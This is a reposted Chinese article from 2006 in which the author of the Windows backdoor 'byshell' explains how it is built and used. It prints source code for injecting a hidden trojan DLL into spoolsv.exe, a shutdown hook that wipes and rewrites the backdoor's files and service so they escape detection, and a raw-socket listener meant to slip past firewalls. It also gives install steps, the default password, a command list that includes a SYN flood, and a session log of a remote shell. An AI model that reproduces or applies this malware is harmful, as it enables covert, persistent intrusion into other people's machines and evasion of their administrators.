首页 电脑 电脑学堂 查看内容

系统级后门byshell编程与应用

2006-5-25 00:05 760 0

摘要:      第一部分:背景    现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少。大多数新生们还是在使用winshe...
关键词: nbsp 后门 dll ntboot exe 一个 HMODULE 进程 端口 方法

     第一部分:背景    现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少。大多数新生们还是在使用winshell,冰河或者Radmin一类的“远程管理软件”来替代后门程序。不幸的是,它们并不符合一个真正后门的标准,极其容易被有或者没有经验的服务器管理员察觉,因此肉鸡经常丢失也就很正常了。    一个合格的后门至少应该作到:不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项里留下众所周知的启动键值或新增服务,当然更不能直接写开始菜单的启动项;不能如同无视管理员或者FW一般明目张胆的打开陌生端口,像bits.dll那样等待连接时无端口,连接时开端口的程序对抗端口检查时只是30%的有效。另外最好能隐藏自己的新增文件,或者能避免感染一些管理员经常检查完整性的系统文件。前三点没有做到的后门程序不是一个“比较高级”的后门程序。    按照我的分类现在常见的后门大概可以分成三个“级别”。    应用级,如winshell,Radmin,冰河,基本上没有采取方法隐藏自己,只是一个普通应用程序能够实现远程控制而已。    系统级,多多少少采用了一些ring3下隐藏自己行踪的编程技术,少的比如bits.dll,portless,多的比如hxdef(该后门虽然有一个驱动但是其对系统的hook全都是WIN32API级的,因此大家倾向于它为系统级而非内核级)。    内核级,后门主要部分工作在ring0,因此有更强的隐蔽性和杀伤力。但是公布的完整的内核级后门数量不多,兼容性也不近人意。这个话题在phrack和rootkit.com有很多有价值的讨论和成果公布。    由于本人只是这方面的初学者,我在自己写的系统级后门byshell v0.64中尽力做到以上的要求。然而由于个人能力有限,我实现的不够全面和稳定。该程序的源代码已经在元旦前公布,希望大家能给我提好的意见或者替我升级版本:)在这篇文章中我将和大家讨论这个开源后门的设计,实现,当然还有应用举例:)希望高手不要扔板砖:)       第二部分:编程    在这一部分中我将不列举完整的代码,因为它太长了。我将引用原代码中的关键代码来说明我的编写思路。    首先的问题就是怎样隐藏自身的进程。一个普遍采用的方法就是远程线程注射。这是一个比较简单的实现方法。但是它最大的问题是,它的注射代码到了远程进程的地址空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位,这个汇编语言的老手是很容易理解的。对于高级语言程序编写者来说这意味着所有显式和非显式的全局变量——如API地址和字符串——都需要进行手工重定位。相比于病毒程序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量块”,再把这个块的地址传送到远程函数,然后在远程函数中使用这个块来替代直接寻址的全局变量,从而免于编写完全“自身可重定位”的代码。后者被认为是非常烦琐并且几乎无法用高级语言实现的。      但即使是这样,编写可以重定位的代码复杂度仍然比较大,写功能模块比较多的后门程序将会非常的累。农民前辈的cmdbind2实现了完全手工重定位的注射后门,我们看他的源代码可以发现他仅仅在实现最普通的bind shell上就花费了很多代码。像byshell v0.64这样的功能复杂的后门,如果直接这样实现是难以想象的。    取代直接编写可重定位代码的普遍方法是在注射进入远程进程的函数中加载一个DLL,这样的话系统将为你做重定位工作,后门主要功能实现在DLL中。例如以前的黑防中,单长虹介绍过这种方法。这种方法也有一个小弊端就是管理员在审核被你注射的进程时会发现一个不明的DLL从而导致你后门的暴露。农民前辈提出了一种思路,先加载DLL,然后把这一块内存全部拷贝到其他地方,卸载DLL,再申请与原来加载DLL相同的地址空间,把其他地方“寄存”的DLL代码拷贝回这个空间。然后直接调用这个DLL,就解决了所有的重定位问题,还不会在被注射进程的加载模块列表里出现我们的DLL。农民前辈并没有实现他的想法为代码。一会这里给出我用这种方法实现的主要代码。    进行比较讨论时我们也来讨论其他的系统级隐藏进程方法。    bingle前辈采用替代svchost启动的DLL服务的方法来加载后门。ZXshell也使用了这种方法。这种方法的主要问题是不稳定,必须改写注册表敏感键值,和在svchost.exe的加载模块中出现不明模块。当然如果用和原来同名的木马DLL来替代原来的DLL可以避免以上问题,但是又会遇到新的问题,就是怎样绕过windows的系统文件保护和管理员例行的系统文件完整性检查。    hxdef统一采用hook WIN32API的方法完成自身各个方面的隐藏。这种方法对于一般的ring3检查效果很好,并且可以部分的实现端口复用。它的主要问题有ring3下hook的手段不多,而且比较“兴师动众”(hxdef向系统中所有进程注射木马数据),效果还不是很好,极易被ring0的rootkit detector,如ICESWORD发现。最后还有就是编程烦琐。    我选用了注射远程进程spoolsv.exe假脱机打印服务的方法,并且在注射到远程的函数中加载然后卸载了一个木马DLL——ntboot.dll。注射器则是ntboot.exe。大家请看ntboot.exe中的注射代码。 void injcode(){ HANDLE prohandle;//注射对象进程句柄DWORD pid=0;//对象进程pidint ret; //临时变量 //使用toolhelp32函数得到注射对象pidSleep(1000);HANDLE snapshot;snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32);char injexe[]="spoolsv.exe";//注射对象进程:)大家可以自己改for(Process32First(snapshot,&processsnap);Process32Next(snapshot,&processsnap);){ if(!stricmp(processsnap.szExeFile,injexe)){ pid=processsnap.th32ProcessID;break; }}CloseHandle(snapshot);//得到pid//取得SE_DEBUG_NAME权限,不再解释了,许多文章有HANDLE hToken;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);//现在GO注射prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);DWORD WINAPI injfunc(LPVOID);//injfunc就是注射去的函数,需要手工重定位//下面取的需要用的API地址并写进将要注射的全局变量块,injapistr是全局结构,是全局变量块的内容HMODULE hModule;LPVOID paramaddr;//全局变量块地址hModule=LoadLibrary("kernel32.dll");injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA");injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary");injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr");injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree");//在目标进程里分配“全局变量块”,并写入API地址paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);//写入injfunc函数void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);//激活远程线程CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0);CloseHandle(prohandle);return;} //注射到远程的函数,负责完成加载和卸载功能复杂庞大的木马DLL的艰巨任务:)DWORD WINAPI injfunc(LPVOID paramaddr){ //paramaddr,全局变量块首址//所有静态全局变量都需要重定位(直接寻址的),而动态分配(堆,virtualalloc)和栈变量不需要,因为他们使用间接寻址//其实字符串也可以在刚才写进全局变量块,但是字符串不多这里直接用ASM搞定还方便 char ntboot[16];char msgbox[16];//变量名字起错了,应该是DLL的后门主函数名,汗,希望不要误导大家INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr;__asm{ mov ntboot,'n'mov ntboot+1,'t'mov ntboot+2,'b'mov ntboot+3,'o'mov ntboot+4,'o'mov ntboot+5,'t'mov ntboot+6,'.'mov ntboot+7,'d'mov ntboot+8,'l'mov ntboot+9,'l'mov ntboot+10,0mov msgbox,'C'mov msgbox+1,'m'mov msgbox+2,'d'mov msgbox+3,'S'mov msgbox+4,'e'mov msgbox+5,'r'mov msgbox+6,'v'mov msgbox+7,'i'mov msgbox+8,'c'mov msgbox+9,'e'mov msgbox+10,0}HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加载ntboot.dllDWORD (WINAPI *myCmdService)(LPVOID);//DLL的后门主函数名    myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));//use some tech to release the dll!//嘿嘿,以下是精华了各位看官unsigned int memsize=0;void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);memcpy(tempdll,hModule,0x23000);//0x23000是DLL的大小,不多不少。如果您改变了ntboot.dll的大小请注意调整这个值pinjapistr->myFreeLibrary(hModule);hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);memcpy(hModule,tempdll,0x23000);pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT);//结束,DLL没有被加载,但是又可以发挥作用,爽吧myCmdService(0);//没什么,调用后门主函数了:)return 0;}     下一个问题是启动项和文件。ntboot.exe,后门的注射器,是将自己作为服务启动的。我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想。先删除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表比对将不能发现异常。也无处寻找我们的后门文件。看一下设定一个关机通知和一个一键关机钩子的代码。 DWORD WINAPI hookthread( LPVOID lpParam ){ MSG msg;int tmpret;char tmpstr[100];LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);if(!msghook){ MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);DebugBreak(); }tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);if(!tmpret){ MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);DebugBreak(); }while (GetMessage(&msg, NULL, 0, 0)){ void resume();if(msg.message==WM_QUERYENDSESSION){ resume(); }}UnhookWindowsHookEx(msghook);return 0;} BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){ void resume();switch(dwCtrlType){ case CTRL_SHUTDOWN_EVENT:resume();//resume函数,顾名思义就是恢复文件启动项break;default:break;}return 0;} LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){ void resume();if(code<0){ return CallNextHookEx(msghook,code,wParam,lParam); }if(code==HC_ACTION){     EVENTMSG * pevent=(EVENTMSG *)lParam;    if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF){ resume(); }}return CallNextHookEx(msghook,code,wParam,lParam);}     与hxdef的hook文件注册表API相比,这种办法的好处是根本就不存在文件。也不会有什么ring0的rootkit detector可能发现被hook API隐藏的文件和注册表项。坏处是如果对方直接拔电源关机我们就……安息了。于是我们就会安慰自己说,这个后门有足够的隐蔽性不会让对方怀疑到中了后门以至于采用掉电关机的BT手段。当然如果你用hxdef那么相信我现在的rootkit detector很多很普遍。只是一个初级rootkit的hxdef已经成为众矢之的,在遭到管理员检查时也会安息的很快的。     最后是怎样实现无端口。(像用rootkit隐藏掉端口那种不叫无端口。那种东西不但无法穿过防火墙还会在管理员扫描自己的机器时暴露)呵呵,这里是byshell v0.64的弱项。ring3后门本来难有什么好办法来进行端口复用。使用raw_socket监听TCP只能做到bits.dll那样的“等待连接时无端口”。把自己加载成SPI基础服务提供者或者分层服务提供者,可以截获所有ring3网络通讯,都会在注册表和系统中留下足够多的信息从而导致我们后门的安息。hxdef的hook系统中所有进程的recv/WSArecv函数的方法,虽然有不能复用ring0端口如139,445的弊端,但是基本上还是ring3端口复用的现在看来比较好的办法。到现在为止byshell采取的方法是使用socket_raw的自定义协议,就是非TCP非UDP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证穿过所有防火墙,并且不支持windows xp sp2,因为后者M$取消了对socket_raw的支持。似乎使用了这种方法的系统级后门软件也不少。我的实现也比较简单,就是用一个协议号224监听连接和刷新,另一个协议号225传输后门数据。很简单。 WSADATA WSAData;WSAStartup(MAKEWORD(2,2),&WSAData);SOCKET sock224=socket(AF_INET,SOCK_RAW,224);sockaddr_in srvaddr;memset(&srvaddr,0,sizeof(struct sockaddr_in));srvaddr.sin_family= AF_INET;srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));if(ret){ goto label2; }dwThreadId=0;char buff224[128];DWORD WINAPI threadfunc( LPVOID lpParam );HANDLE thrdhndl;//建立225的连接线程thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);//等待刷新while(1){ recvfrom(sock224,buff224,128,0,0,0);if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$# at !~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){     TerminateThread(thrdhndl,0);goto label1; }}     在225的代码里我实现了简单的差错控制。那个代码比较长这里不列举了,有兴趣的朋友看源代码。这个复用方法不是非常可靠稳定所以我公布了byshell v0 dot 63,它直接开了一个TCP端口138:)完全不符合后门要求,但是给大家用来作测试还是可以的。如果大家发现byshell v0.64不能很稳定可以试试它。不过一个严重的失误是我在byshell v0.64的说明书里漏了一个命令refresh,它可以清除万一出现的225连接死掉,并且给您机会重新连接。    最后就是byshell实现了非常多的命令。比如查看系统信息,执行命令,在后门连接中上传下载,甚至还有SYN洪水攻击。后门的功能模块是work()函数,这样便于进行功能拓展和模块化编程。我的程序风格并不好,喜欢不分行和紧凑代码:(不过我还是希望大家一起来开发这个软件。针对它端口复用不理想的现状,我会继续升级。以后可能写成hxdef那样的ring3复用,也可能是ring0的过滤驱动之类的东西。也希望前辈们继续指导我:)在这个后门的写作中,3个人给我最大的帮助。请允许我占用篇幅表示对他们的感谢。他们是谷夕(gxisone),黄鑫(glacier),当然还有农民。这个后门一半应该是他们的功劳。       第三部分:应用    至于应用,这个后门(0.64)支持的命令有:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等。具体用法请查看说明书。注意的是说明书上遗漏了refresh,它的作用是清除万一出现的连接死掉,并且给您机会重新连接,也可以在您换了一个IP以后,清除原来的连接(否则不能正常连接)。安装后门时只要把ntboot.exe和ntboot.dll上传到同一目录并且执行ntboot.exe -install即可。安装完成请您手动删除ntboot.exe和ntboot.dll,如果您不是上传到system32目录。连接请用by064cli.exe。注意byshell v0.64不支持本机对本机测试。v 0.63可以。现在我用v 0.63简单演示一下使用效果。 please input the server ip address127.0.0.1127.0.0.1 will be connectedinput the password(the default one is 'by')by#cmddir c:\驱动器 C 中的卷没有标签。卷的序列号是 CCB2-D751 c:\ 的目录 2005-01-29  14:22       <DIR>          Documents and Settings2004-10-01  19:24       <DIR>          Inetpub2004-11-17  20:56       <DIR>          Intel2004-10-30  14:18               24,576 isapilog.dll2004-11-11  00:55               24,576 magic_asp.dll2005-02-07  21:47       <DIR>          My Music2004-12-21  00:05                  124 Operate.ini2005-01-18  22:38       <DIR>          Program Files2005-02-07  23:31       <DIR>          ubackup2005-02-02  17:54       <DIR>          WINNT               3 个文件         49,276 字节               7 个目录    124,207,104 可用字节#shellMicrosoft Windows 2000 [Version 5.00.2195](C) 版权所有 1985-2000 Microsoft Corp. C:\WINNT\system32>cd..cd.. C:\WINNT>cd..cd.. C:\>dirdir驱动器 C 中的卷没有标签。卷的序列号是 CCB2-D751 C:\ 的目录 ……省略               3 个文件         49,276 字节               7 个目录    124,207,104 可用字节 C:\>endshellshell terminated#byverbyshell server version 0.63Released Dec 19,2004 Copyleft at "by" co dot ltd.#pslist…………这里有BUG,排列不整齐,大家凑合看吧:(process:pid     filename        num_thread      parentpid8       System  43      0184     smss.exe        6       8208     csrss.exe       11      184232     winlogon.exe    19      184260     services.exe    31      232272     lsass.exe       17      232456     svchost.exe     11      260488     SPOOLSV.EXE     14      260524     msdtc.exe       21      260636     svchost.exe     18      260656     llssrv.exe      9       260688     sqlservr.exe    28      260776     winmgmt.exe     3       260812     dfssvc.exe      2       260832     inetinfo.exe    29      260856     mssearch.exe    6       2601224    svchost.exe     11      2601176    explorer.exe    19      11721356    igfxtray.exe    2       11761404    PFWMain.exe     4       11761412    SOUNDMAN.EXE    2       11761428    realsched.exe   4       11761436    internat.exe    1       11761444    sqlmangr.exe    3       11761280    BitComet.exe    9       1176328     notepad.exe     2       11761196    MDM.EXE 5       4561512    conime.exe      1       10881520    cmd.exe 1       4881504    by063cli.exe    1       1176#pskill1428OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)#modlist1520 mods of 1520:module_id       module_name     module_path1       ntdll.dll       C:\WINNT\System32\ntdll.dll1       KERNEL32.dll    C:\WINNT\system32\KERNEL32.dll1       USER32.dll      C:\WINNT\system32\USER32.dll1       GDI32.DLL       C:\WINNT\system32\GDI32.DLL1       ADVAPI32.dll    C:\WINNT\system32\ADVAPI32.dll1       RPCRT4.DLL      C:\WINNT\system32\RPCRT4.DLL1       MSVCRT.dll      C:\WINNT\system32\MSVCRT.dll1       IMM32.DLL       C:\WINNT\System32\IMM32.DLL#    其他复杂命令大家自己试。最后,如果有问题或者想和我交流,mail到baiyuanfan at 163 dot com。谢谢大家对byshell和我的关注:)
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部